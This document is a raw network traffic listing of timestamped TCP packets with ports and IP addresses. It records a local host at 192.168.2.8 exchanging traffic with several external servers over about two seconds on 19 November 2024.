Nov 19, 2024 18:00:42.338319063 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:42.338378906 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:42.338589907 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:42.338937998 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:42.338953972 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:42.393692970 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:42.394360065 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.394654989 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.395272970 CET	49769	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.395286083 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.395637035 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.396498919 CET	49768	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.396508932 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.396879911 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.396989107 CET	49769	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.397053003 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.397991896 CET	49768	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.398071051 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.398210049 CET	49769	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.398310900 CET	49768	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.439327955 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.443322897 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.480863094 CET	443	49771	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.486666918 CET	443	49770	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.503144026 CET	49770	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.503160000 CET	443	49770	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.504810095 CET	443	49770	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.520493031 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.520580053 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.520643950 CET	49769	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.542778969 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.542844057 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.543006897 CET	49768	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.549906015 CET	49771	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.549922943 CET	443	49771	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.550276995 CET	443	49771	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.550601959 CET	49768	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.550616026 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.551104069 CET	49769	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.551120996 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.552213907 CET	49770	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.552372932 CET	443	49770	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.553322077 CET	49776	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:42.553338051 CET	443	49776	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:42.553567886 CET	49776	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:42.553908110 CET	49771	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.553966999 CET	443	49771	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.555031061 CET	49776	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:42.555042028 CET	443	49776	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:42.598470926 CET	49771	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.695559978 CET	49778	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:42.695574999 CET	443	49778	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:42.695673943 CET	49778	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:42.696264029 CET	49778	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:42.696274042 CET	443	49778	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:42.766088963 CET	49770	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.837188959 CET	49779	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:42.837219000 CET	443	49779	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:42.837639093 CET	49779	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:42.837755919 CET	49779	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:42.837768078 CET	443	49779	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:42.985646009 CET	49779	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:42.986190081 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:42.986222029 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:42.986315966 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:42.987284899 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:42.987303019 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:42.987973928 CET	49778	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:42.988416910 CET	49770	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.988444090 CET	49771	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.988487005 CET	443	49770	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.988498926 CET	443	49771	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.988614082 CET	49770	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.988653898 CET	49771	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.988748074 CET	49776	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:42.989726067 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:42.989917994 CET	443	49754	13.32.99.21	192.168.2.8
Nov 19, 2024 18:00:42.990017891 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:42.990575075 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:42.990617990 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:42.990715981 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:42.991127014 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:42.991138935 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:42.991399050 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:42.992300987 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:42.992314100 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:42.992414951 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:42.992425919 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.027335882 CET	443	49779	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:43.031326056 CET	443	49776	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.031335115 CET	443	49778	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.176517010 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:43.176598072 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:43.178929090 CET	443	49778	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.178987980 CET	49778	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.329211950 CET	49704	443	192.168.2.8	23.206.229.226
Nov 19, 2024 18:00:43.334041119 CET	443	49704	23.206.229.226	192.168.2.8
Nov 19, 2024 18:00:43.352188110 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.359503984 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:43.359541893 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.360927105 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:43.360933065 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.361115932 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:43.361131907 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.363367081 CET	443	49779	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:43.363456964 CET	49779	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:43.384447098 CET	443	49776	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.384552002 CET	49776	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:43.501497984 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:43.501544952 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.501626015 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:43.501873970 CET	49784	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:43.501888990 CET	443	49784	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.629585028 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.629976988 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.630000114 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.633810997 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.633914948 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.635382891 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.635485888 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.635691881 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.635704994 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.697005033 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:43.738043070 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:43.738078117 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:43.738718987 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:43.738754034 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.738780975 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.738792896 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:43.738816977 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.738859892 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:43.738878012 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.738889933 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.738894939 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:43.738930941 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:43.741452932 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:43.741528988 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:43.770226955 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.791451931 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:43.791666985 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:43.791677952 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:43.791690111 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:43.791835070 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:43.793800116 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:43.793823957 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.793848038 CET	49772	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:43.793855906 CET	443	49772	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:43.819742918 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.819778919 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.819787979 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.819809914 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.819823980 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.819832087 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.819833040 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.819849014 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.819860935 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.819888115 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.819916964 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.831975937 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.831988096 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.832041979 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.832051039 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.834425926 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.834435940 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.834448099 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.834476948 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.834507942 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.834527969 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.834539890 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.834548950 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.840691090 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.840873957 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:43.840908051 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:43.841039896 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:43.841052055 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.841140032 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:43.842592001 CET	49785	443	192.168.2.8	152.195.19.97
Nov 19, 2024 18:00:43.842607021 CET	443	49785	152.195.19.97	192.168.2.8
Nov 19, 2024 18:00:43.843221903 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.843290091 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:43.867067099 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:43.867289066 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.867321014 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:43.911335945 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.918080091 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.918190002 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.918217897 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.919420958 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.919437885 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.919457912 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.919467926 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.919492960 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.919501066 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.919531107 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.920742989 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.920775890 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.920788050 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.920799971 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.920814037 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.920818090 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.920840979 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.922048092 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.922065020 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.922092915 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.922112942 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.922118902 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:43.922147036 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.972795010 CET	49783	443	192.168.2.8	13.107.246.40
Nov 19, 2024 18:00:43.972815990 CET	443	49783	13.107.246.40	192.168.2.8
Nov 19, 2024 18:00:43.972851038 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:43.998923063 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:43.998949051 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.004532099 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.004566908 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.004606962 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.004612923 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.004654884 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.004750013 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.004760981 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.004782915 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.004800081 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.004828930 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.004863977 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.004906893 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.004911900 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005063057 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005105972 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005120993 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.005125999 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005155087 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.005181074 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.005244017 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005301952 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.005306005 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005466938 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.005574942 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005615950 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005652905 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.005657911 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005667925 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.005697966 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.005762100 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.005836964 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.005842924 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.010889053 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.011894941 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.011936903 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.011981964 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.011986971 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.012018919 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.012170076 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.012223959 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.012228966 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.012429953 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.012469053 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.012494087 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.012507915 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.012536049 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.012640953 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.012691021 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.012696981 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.025804996 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.025819063 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.025842905 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.025856972 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.025870085 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.025881052 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.025898933 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.025912046 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.025918007 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.025943041 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.034050941 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:44.039016962 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:44.048696041 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:44.048715115 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:44.048821926 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:44.049110889 CET	49786	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:44.049125910 CET	443	49786	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:44.089740038 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.089754105 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.089776993 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.089797974 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.089799881 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.089807987 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.089818954 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.089838982 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.089848995 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.089860916 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.090821028 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.090853930 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.090893030 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.090919018 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.090933084 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.090950012 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.090970993 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.090976954 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.091485977 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.091506004 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.091537952 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.091546059 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.091573000 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.091631889 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.091686964 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.091691971 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.091907024 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.091944933 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.091964006 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.091973066 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.091994047 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.092005014 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.092045069 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.092068911 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.092096090 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.092106104 CET	443	49780	20.25.227.174	192.168.2.8
Nov 19, 2024 18:00:44.092117071 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.092134953 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.092194080 CET	49780	443	192.168.2.8	20.25.227.174
Nov 19, 2024 18:00:44.092196941 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.092205048 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.092220068 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.092309952 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.092376947 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.092381001 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.092859983 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.092879057 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.092916012 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.092921972 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.092951059 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.093030930 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.093089104 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.093095064 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.093606949 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.093628883 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.093653917 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.093657970 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.093687057 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.093729019 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.093780994 CET	49782	443	192.168.2.8	23.200.88.26
Nov 19, 2024 18:00:44.093786001 CET	443	49782	23.200.88.26	192.168.2.8
Nov 19, 2024 18:00:44.147762060 CET	443	49784	13.107.246.40	192.168.2.8
